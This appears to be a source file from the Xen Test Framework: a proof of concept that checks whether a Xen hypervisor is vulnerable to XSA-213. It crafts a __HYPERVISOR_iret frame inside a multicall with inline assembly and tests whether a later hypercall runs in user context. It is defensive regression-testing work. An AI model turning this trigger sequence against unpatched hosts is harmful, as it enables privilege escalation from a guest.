main.c

Go to the documentation of this file.

 
#include <xtf.h>
 
const char test_title[] = "XSA-213 PoC";
 
#define IRET_IDENTIFIER 0xdead
 
/* IDT handler to recover from arriving at iret_entry. */
void recover_from_iret(void);
asm(".align 16;"
    "recover_from_iret:"
    "mov %dr0, %" _ASM_SP ";"
    "jmp multicall_return;"
    );
 
static const struct xtf_idte idte = {
    .addr = _u(recover_from_iret),
    .cs   = __KERN_CS,
    .dpl  = 3,
};
 
/* Target of the __HYPERVISOR_iret hypercall. */
void iret_entry(void);
asm (".pushsection .text.user;"
     ".global iret_entry;"
     "iret_entry:"
     "int $" STR(X86_VEC_AVAIL) ";"
     ".popsection;"
    );
 
static long multi_iret_call(multicall_entry_t *multi, size_t nr)
{
    long rc, tmp;
 
    asm volatile (/* Stash the stack pointer for recover_from_iret() */
                  "mov %%" _ASM_SP ", %%dr0;"
 
                  /*
                   * Build a __HYPERVISOR_iret stack frame, on the user_stack,
                   * landing at iret_entry().  The interrupt flag leaks in
                   * from real hardware, and needs clobbering.
                   */
                  "push $%c[ss];"
                  "push $user_stack + 4096;"
                  "pushf;"
                  "andl $~%c[intr], (%%" _ASM_SP ");"
                  "push $%c[cs];"
                  "push $iret_entry;"
 
#ifdef __x86_64__ /* 64bit SYSEXIT flags, %rcx and %r11.  Ignored. */
                  "push $0;"
                  "push $0;"
                  "push $0;"
#endif
                  /* %rax to restore after __HYPERVISOR_iret. */
                  "push $ " STR(IRET_IDENTIFIER) ";"
 
#ifdef __i386__   /* Start the __HYPERVISOR_multicall. */
                  "int $0x82;"
#else
                  "syscall;"
#endif
                  /* Recovery point from recover_from_iret(). */
                  "multicall_return:"
 
                  : "=a" (rc),
#ifdef __i386__
                    "=b" (tmp), "=c" (tmp)
#else
                    "=D" (tmp), "=S" (tmp)
#endif
                  : "a" (__HYPERVISOR_multicall),
                    [ss] "i" (__USER_DS),
                    [cs] "i" (__USER_CS),
                    [intr] "i" (X86_EFLAGS_IF),
#ifdef __i386__
                    "b" (multi), "c" (nr)
#else
                    "D" (multi), "S" (nr)
#endif
        );
 
    return rc;
}
 
static multicall_entry_t multi[] = {
    {
        .op = __HYPERVISOR_iret,
    },
    {
        .op = __HYPERVISOR_xen_version,
        .args = {
            (unsigned long)XENVER_version,
            (unsigned long)NULL,
        },
    },
};
 
void test_main(void)
{
    long rc, xen_version = hypercall_xen_version(XENVER_version, NULL);
 
    printk("Found Xen %ld.%ld\n",
           (xen_version >> 16) & 0xffff, xen_version & 0xffff);
 
    xtf_set_idte(X86_VEC_AVAIL, &idte);
 
    rc = multi_iret_call(multi, ARRAY_SIZE(multi));
 
    if ( rc != IRET_IDENTIFIER )
    {
        if ( rc )
            xtf_error("Error: Unexpected multicall result %ld\n", rc);
        else
            xtf_failure("Fail: Multicall didn't finish at the iret\n");
    }
 
    if ( multi[1].result )
    {
        if ( multi[1].result == (unsigned long)xen_version )
            xtf_failure("Fail: xen_version hypercall run in user context\n");
        else
            xtf_error("Error: Unexpected xen_version result %#lx\n",
                      multi[1].result);
    }
    else
        xtf_success("Success: Not vulnerable to XSA-213\n");
}
 
/*
 * Local variables:
 * mode: C
 * c-file-style: "BSD"
 * c-basic-offset: 4
 * tab-width: 4
 * indent-tabs-mode: nil
 * End:
 */